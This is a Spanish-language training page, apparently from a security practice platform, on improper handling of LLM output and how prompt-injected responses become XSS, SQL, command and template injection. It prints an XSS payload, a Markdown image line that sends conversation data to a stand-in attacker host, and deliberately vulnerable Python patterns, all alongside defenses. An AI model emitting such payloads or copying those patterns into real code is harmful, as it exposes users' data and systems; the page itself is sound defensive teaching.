Saltar al contenido principal

Tratamiento inseguro de la salida de un LLM: XSS, inyección SQL y comandos

El tratamiento inseguro de la salida aparece cuando una aplicación confía en lo que genera el modelo y lo pasa sin control a un navegador, una base de datos o un intérprete. Aprendes cómo se explota y qué controles lo evitan.

Qué es el tratamiento inseguro de la salida

Una aplicación con un modelo de lenguaje grande (LLM) rara vez se limita a mostrar texto. Pinta la respuesta en una página web, la usa para construir una consulta, la pasa a un intérprete de comandos o la inserta en una plantilla. El tratamiento inseguro de la salida, Improper Output Handling en el OWASP Top 10 para aplicaciones con LLM, ocurre cuando esa respuesta llega a otro componente sin validar ni codificar.

La categoría es LLM10 en la edición 2026 y LLM05 en la 2025. Ha bajado en la lista, pero su impacto sigue siendo alto, porque convierte un problema del modelo en una vulnerabilidad web o de sistema clásica.

Por qué la salida del modelo no es confiable

Los equipos de desarrollo suelen tratar la respuesta del modelo como si la hubiera generado su propio código. El atacante, sin embargo, influye en ella con una inyección de prompt directa, o de forma indirecta a través de un documento, un correo o una página que el modelo procesa. A efectos de seguridad, la salida del modelo es entrada de usuario que ha pasado por un intermediario.

Además, la salida no es determinista. Que una prueba dé hoy un texto inofensivo no garantiza que la misma petición lo haga mañana, así que la validación tiene que estar en el código que recibe la respuesta y no en el prompt.

De la respuesta del chat al XSS

El caso más frecuente es el cross-site scripting (XSS). Si la interfaz inserta la respuesta en la página como HTML, o convierte Markdown en HTML sin restricciones, cualquier etiqueta que genere el modelo se ejecuta en el navegador de la víctima, con su sesión.

Una variante conocida no necesita JavaScript. El modelo genera una imagen en Markdown cuya URL apunta a un servidor del atacante y lleva en los parámetros datos de la conversación. El navegador pide la imagen al mostrarla, y los datos salen sin que el usuario haga clic.

<img src=x onerror=alert(document.domain)>

![grafico](https://atacante.example/pixel.png?d=DATOS_DE_LA_CONVERSACION)

Consultas, comandos y plantillas

El mismo error aparece en el servidor cuando la salida del modelo se usa para construir algo que otro sistema interpreta:

  • Consultas SQL que el modelo genera y la aplicación ejecuta sin revisión, con riesgo de inyección SQL o de acceso a tablas ajenas.
  • Comandos del sistema construidos concatenando la respuesta, que abren la puerta a la ejecución remota de comandos.
  • Plantillas que reciben la respuesta como parte de la propia plantilla y no como dato, con riesgo de inyección de plantillas en el servidor (SSTI).
  • Código que se pasa a funciones como eval o a un intérprete sin aislamiento.
  • Rutas de fichero, URL o parámetros que el modelo decide y el servidor usa sin comprobar.
# Patrones vulnerables (Python)
os.system('ping -c 1 ' + respuesta_modelo)
cursor.execute(respuesta_modelo)
render_template_string('Resumen: ' + respuesta_modelo)
eval(respuesta_modelo)

Cómo se defiende el tratamiento inseguro de la salida

La defensa aplica a la salida del modelo los mismos controles que a cualquier entrada no confiable, en el punto en que se usa. Las guías de OWASP sobre codificación de salida y consultas seguras sirven sin cambios, porque el modelo es una fuente más de datos externos. En la práctica, esto significa:

  • Codificar la salida según el contexto: escapar el HTML al mostrar la respuesta y usar un convertidor de Markdown que no admita HTML.
  • Limitar los dominios de imágenes y enlaces que carga la interfaz y aplicar una política de seguridad de contenido (CSP) estricta.
  • Usar consultas parametrizadas. Si el modelo debe elegir una consulta, que elija entre un conjunto cerrado y con un usuario de base de datos de solo lectura.
  • No pasar texto del modelo a un intérprete de comandos. Llamar a los programas con una lista de argumentos y validar cada valor contra una lista de valores permitidos.
  • Pasar la respuesta a las plantillas como variable, nunca como parte de la plantilla.
  • Pedir salida estructurada, por ejemplo JSON, y validarla contra un esquema antes de usarla.
  • Ejecutar el código generado solo en un entorno aislado, sin red ni credenciales, y pedir confirmación humana para las acciones con consecuencias.

Dónde practicarlo en AI Labs

  • HIPPOCRATESChatbot · Medium · Asistente de triaje sanitario
  • Stratus AnalyticsMáquina · Medium
  • La RegentaMáquina · Hard

En AI Labs puedes practicar esta categoría con el chatbot HIPPOCRATES, un asistente de triaje sanitario, y con máquinas en las que el fallo forma parte de una cadena de ataque completa. Cada instancia es individual y aislada, así que puedes probar cada técnica sin afectar a nadie.